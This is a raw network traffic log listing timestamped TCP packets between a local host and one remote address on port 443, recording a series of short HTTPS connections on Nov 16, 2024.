Nov 16, 2024 20:13:11.760564089 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760587931 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760652065 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.760734081 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760778904 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760792971 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.760885954 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.760924101 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.765990973 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.766160011 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.766241074 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.766321898 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.766321898 CET	49925	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.766365051 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.766392946 CET	443	49925	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.768315077 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.768322945 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.768394947 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.768536091 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.768549919 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.807718992 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.808024883 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.808140039 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811546087 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811546087 CET	49926	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811568975 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.811568022 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811582088 CET	443	49926	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.811654091 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:11.811748028 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811898947 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:11.811935902 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.224725008 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.225388050 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.225438118 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.225898981 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.225915909 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.352905035 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.353075981 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.353152037 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.353269100 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.353313923 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.353346109 CET	49927	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.353360891 CET	443	49927	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.356714010 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.356760025 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.356832981 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.357027054 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.357043028 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.502341986 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.502945900 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.502976894 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.503607035 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.503614902 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.507041931 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.507319927 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.507328033 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.507800102 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.507806063 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.518619061 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.519032001 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.519068003 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.519568920 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.519583941 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.549714088 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.550098896 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.550137043 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.550647974 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.550661087 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.635153055 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.635334969 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.635406971 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.635499001 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.635520935 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.635535955 CET	49928	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.635543108 CET	443	49928	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.638936043 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.638936043 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.638951063 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.639017105 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.639046907 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.639070988 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.639230013 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.639230967 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.639238119 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.639246941 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.639250040 CET	49930	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.639254093 CET	443	49930	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.641727924 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.641781092 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.641859055 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.641998053 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.642015934 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.652215958 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.652420044 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.652488947 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.652754068 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.652754068 CET	49929	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.652776003 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.652798891 CET	443	49929	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.655092001 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.655112028 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.655190945 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.655353069 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.655378103 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.678754091 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.678937912 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.679013968 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.679166079 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.679166079 CET	49931	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.679183960 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.679210901 CET	443	49931	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.681461096 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.681504965 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:12.681576967 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.681689978 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:12.681725979 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.129539967 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.130289078 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.130341053 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.130808115 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.130814075 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.262250900 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.262461901 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.262542963 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.262808084 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.262808084 CET	49932	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.262845039 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.262861967 CET	443	49932	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.265872002 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.265904903 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.265974045 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.266261101 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.266278028 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.371905088 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.372550011 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.372586966 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.372940063 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.372947931 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.374758005 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.375107050 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.375144958 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.375587940 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.375643015 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.419514894 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.420001030 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.420080900 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.420488119 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.420504093 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.427850008 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.428175926 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.428195000 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.428567886 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.428575993 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.506280899 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.506439924 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.506526947 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.506781101 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.506814003 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.506843090 CET	49933	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.506858110 CET	443	49933	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.509934902 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.509959936 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.510044098 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.510205984 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.510219097 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.513737917 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.513770103 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.513814926 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.513914108 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.513914108 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.514012098 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.514038086 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.514053106 CET	49934	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.514060020 CET	443	49934	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.516118050 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.516130924 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.516201019 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.516319036 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.516333103 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549169064 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549240112 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549304962 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.549340010 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549384117 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549431086 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.549494982 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.549494982 CET	49936	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.549520969 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.549544096 CET	443	49936	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.551553011 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.551604033 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.551693916 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.551830053 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.551862955 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.564848900 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.564898968 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.564961910 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.565048933 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.565049887 CET	49935	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.565069914 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.565090895 CET	443	49935	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.566915989 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.566965103 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:13.567039967 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.567284107 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:13.567302942 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.003776073 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.004410982 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.004441023 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.004894972 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.004901886 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.133635998 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.133814096 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.133915901 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.134226084 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.134246111 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.134259939 CET	49937	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.134267092 CET	443	49937	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.137357950 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.137429953 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.137526035 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.137677908 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.137716055 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.235160112 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.235698938 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.235713005 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.236221075 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.236226082 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.255769968 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.256419897 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.256489038 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.256863117 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.256880045 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.297421932 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.297975063 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.298018932 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.298402071 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.298418045 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.321715117 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.322093964 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.322130919 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.322462082 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.322470903 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.361892939 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.362083912 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.362150908 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.362250090 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.362263918 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.362272978 CET	49939	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.362278938 CET	443	49939	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.365516901 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.365554094 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.365647078 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.365814924 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.365830898 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.386430025 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.386607885 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.386703968 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.386859894 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.386859894 CET	49938	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.386904001 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.386938095 CET	443	49938	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.389352083 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.389394045 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.389456034 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.389586926 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.389605045 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.428956032 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.429032087 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.429081917 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.429104090 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.429140091 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.429188967 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.429267883 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.429280996 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.429310083 CET	49940	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.429316998 CET	443	49940	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.431694031 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.431735992 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.431803942 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.431948900 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.431965113 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.451706886 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.451850891 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.451911926 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.451941967 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.451941967 CET	49941	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.451956987 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.451968908 CET	443	49941	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.453839064 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.453881025 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.453957081 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.454061031 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.454078913 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.871707916 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.872344971 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.872368097 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:14.872781038 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:14.872787952 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.000262022 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.000428915 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.000616074 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.000953913 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.000953913 CET	49942	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.000976086 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.000986099 CET	443	49942	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.005199909 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.005237103 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.005337000 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.005455971 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.005470991 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.092340946 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.092875957 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.092907906 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.093359947 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.093367100 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.133002996 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.133742094 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.133774996 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.134231091 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.134258986 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.219511032 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.220163107 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.220195055 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.220634937 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.220642090 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.223773003 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.223841906 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.223901033 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.224087954 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.224107981 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.224123955 CET	49943	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.224139929 CET	443	49943	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.227453947 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.227521896 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.227627039 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.227818012 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.227853060 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.241868019 CET	443	49945	13.107.246.45	192.168.2.4
